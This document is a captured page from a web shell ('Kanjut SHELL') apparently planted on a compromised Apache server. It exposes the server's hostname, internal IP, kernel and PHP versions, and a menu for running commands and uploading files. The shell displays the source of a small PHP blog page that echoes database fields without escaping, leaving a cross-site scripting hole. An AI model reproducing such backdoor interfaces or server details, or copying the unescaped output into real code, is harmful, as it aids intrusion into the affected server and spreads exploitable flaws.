Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.117.168.71
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/vnlaughlin/public_html/design/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/vnlaughlin/public_html/design/viewpost.php
<?php require('includes/db.php'); ?>

<!DOCTYPE html>
<html lang="en">
<head>
  <title>POST TITLE</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
</head>
<body>
<!-- Header -->

<nav class="navbar navbar-default">
	  <div class="container-fluid">
	    <div class="navbar-header">
	   <a class="navbar-brand" href="index.php">IDEArena</a>
	    </div>
	    <ul class="nav navbar-nav">
	    <li><a href="index.php">Home</a></li>
	 	<li><a href="">Catagories</a></li>
	 	<li><a href="user/signup.php">Sign Up</a></li>
	 	<li><a href="user/login.php">Login</a></li>
	    </ul>
	  </div>
</nav>

<?php

	$stmt = $connect->prepare('SELECT postID, postTitle, userID, postQst, postDate FROM posts WHERE postID = :postID');
	$stmt->execute(array(':postID' => $_GET['id']));
	$row = $stmt->fetch();
	$userID = $row['userID'];

	$stmt = $connect->prepare('SELECT username FROM users where userID = :userID');
	$stmt->execute(array(':userID' => $userID));
	$row2 = $stmt->fetch();
	$username = $row2['username'];
?>

 <!-- Body -->
 <body>
	<div class="container">
 <?php
 	echo '<h1>'.$row['postTitle'].'</h1>';
	echo '<p><a href="">'.$username.'</a></p>';
 	echo '<p>Posted on '.date('M jS Y', strtotime($row['postDate'])).'</p>';
	echo '<p>'.$row['postQst'].'</p>';

 ?>
	</div>
 </body>
 </html>

Stv3n404 - 2023